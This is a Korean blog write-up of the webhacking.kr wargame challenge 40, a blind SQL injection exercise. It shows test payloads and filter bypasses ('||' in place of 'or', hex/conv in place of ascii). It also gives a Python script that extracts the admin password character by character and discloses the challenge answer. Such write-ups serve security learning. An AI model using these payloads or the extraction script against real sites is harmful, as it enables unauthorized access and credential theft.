[webhacking.kr] 40번 문제 풀이[Blind SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 40번 문제에 대한 풀이입니다.

문제

image

문제 풀이

기본 값을 그대로 로그인을 시도하면 guest로 로그인이 성공합니다.

image

id,no,pw 를 다른 값으로 바꿔서 시도하면 다음과 같은 화면이 나옵니다.

image

이제 입력이 가능한 no,id,pw에 injection을 시도해 봅니다.

id,pw 에는

' or 1=1-- 

을 시도해 보았지만 취약점이 발견되지 않았습니다.

no에는 다음을 입력해 보았더니 access denied, 즉 필터링 되었습니다.

3 or 1=1-- 

image

입력 값을 몇개 시도해 보니, no를 통해서 인젝션이 되었습니다. ‘or’ 이 필터링 되어서 ‘||‘로 대체하였고, 띄어쓰기(%20)가 필터링 되어서 붙여서 썼습니다.

3||no=2

image

위의 값을 입력해 주면 다음 페이지로 이동되는데, admin password를 구해야 합니다.

이 이후부터는 전형적인 blind sql injection으로 파이썬 코드로 대체하겠습니다.

기존 문제와 다른 점은 select문이 필터링 되어 있어서 information_schema를 이용하는것은 불가능 했습니다.

또한 ord,ascii가 필터링 되어 있었기 때문에 hex 함수를 이용해서 우회를 했습니다.

  hex('a') = 61 # 주어진 문자를 ascii 16진수로 반환
  conv(61,16,10) = 97 #   인자를 16진수에서 10진수로 변환

위의 함수들을 이용해서 ascii와 동일한 기능을 구현할 수 있습니다.

image

import requests
from tqdm import tqdm
url = "https://webhacking.kr/challenge/web-29/"

TRUE_FLAG = "Success"
FALSE_FLAG = "Failure"


# 1. pw 길이
for i in range(20):
    params = "?id=guest&pw=guest&no=3||(length(pw)={})".format(i)
    response = requests.get(url + params)
    if(FALSE_FLAG not in response.text):
        print("password length: ", i)


# admin 계정의 pw 길이는 10

# 2. pw
for i in range(1,11):
    password = ''
    for j in range(127,20,-1):
        params = "?id=guest&pw=guest&no=3||(conv(hex(substr(pw,{0},1)),16,10)={1})".format(i,j)
        response = requests.get(url+params)
        if(FALSE_FLAG not in response.text):
            password += chr(j)
            if(i>5):
                break
    print(i," : ",password)

결과

코드를 실행하면 다음과 같이 출력합니다.

image

DB에는 guest와 admin 2가지 계정의 비밀번호가 있기 때문에 5번째 자리까지는 2번 출력되는 것을 볼 수 있습니다. 이때 1-5까지는 ‘guest’를 제외하고 보면 admin의 비밀번호는

luck_admin 인 것을 알 수 있습니다.

image

댓글남기기